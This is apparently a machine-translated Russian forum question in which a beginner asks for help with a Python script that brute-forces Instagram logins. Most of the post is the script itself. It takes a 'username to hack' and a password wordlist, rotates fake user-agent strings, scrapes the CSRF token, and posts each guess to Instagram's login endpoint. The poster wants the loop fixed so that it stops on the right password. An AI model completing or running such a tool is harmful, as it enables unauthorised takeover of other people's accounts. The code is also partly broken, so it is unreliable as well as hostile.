Итак, я пытаюсь создать скрипт Instagram Bruteforce с Requests и Bs4 (используя все пароли из списка слов для входа в систему). Я не могу заставить его напечатать правильный пароль. Когда дело доходит до правильного пароля, цикл все равно не прерывается. Я знаю, что код должен работать в ближайшее время, потому что мне удалось войти в систему, используя этот метод. Но теперь, так как я пытаюсь сделать сценарий грубой силы (для развлечения), он не работает. Если кто-нибудь может помочь мне выяснить, как сделать разрыв цикла и напечатать («Пароль:» + ПАРОЛЬ). Я новичок в Python, кстати. Код находится в функции между прочим, но я ее здесь не показывал, просто чтобы вы, ребята, знали, почему иногда говорится «return main ()» и т. Д. Вот код:
from bs4 import BeautifulSoup
import json, random, re, requests
USERNAME = input("# - Username to hack ~ ")
if USERNAME == "":
print("Please enter a valid username\nRestarting...")
time.sleep(2)
return main()
file = input("# - Wordlist Path ~ ")
question = input("# - Is the information above correct?(y/n) ~ ")
if question == "y" or question == "Y":
passfile = open(file, 'r')
elif question == "n" or question == "N":
return main()
else:
print("That's not a valid option lol\nNow we will restart")
time.sleep(3)
return start()
wordlist = passfile.readlines()
BASE_URL = 'https://www.instagram.com/accounts/login/'
LOGIN_URL = BASE_URL + 'ajax/'
for PASSWD in wordlist:
headers_list = [
"Mozilla/5.0 (Windows NT 5.1; rv:41.0) Gecko/20100101"\
" Firefox/41.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2)"\
" AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2"\
" Safari/601.3.9",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0)"\
" Gecko/20100101 Firefox/15.0.1",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"\
" (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36"\
" Edge/12.246"
]
USER_AGENT = headers_list[random.randrange(0,4)]
session = requests.Session()
session.headers = {'user-agent': USER_AGENT}
session.headers.update({'Referer': BASE_URL})
req = session.get(BASE_URL)
soup = BeautifulSoup(req.content, 'html.parser')
body = soup.find('body')
pattern = re.compile('window._sharedData')
script = body.find("script", text=pattern)
script = script.get_text().replace('window._sharedData = ', '')[:-1]
data = json.loads(script)
csrf = data['config'].get('csrf_token')
login_data = {'username': USERNAME, 'password': PASSWD}
session.headers.update({'X-CSRFToken': csrf})
try:
login = session.post(LOGIN_URL, data=login_data, allow_redirects=True)
if req.history:
print("Password is: " + PASSWD)
for resp in req.history:
print("Password is: " + PASSWD)
if resp.url == "https://www.instagram.com" or resp.url == "https://www.instagram.com/" + USERNAME:
print("Password is: " + PASSWD)
break
else:
print("Trying pass: " + PASSWD)
else:
print("Trying pass: " + PASSWD)
except:
print("Trying pass: " + PASSWD)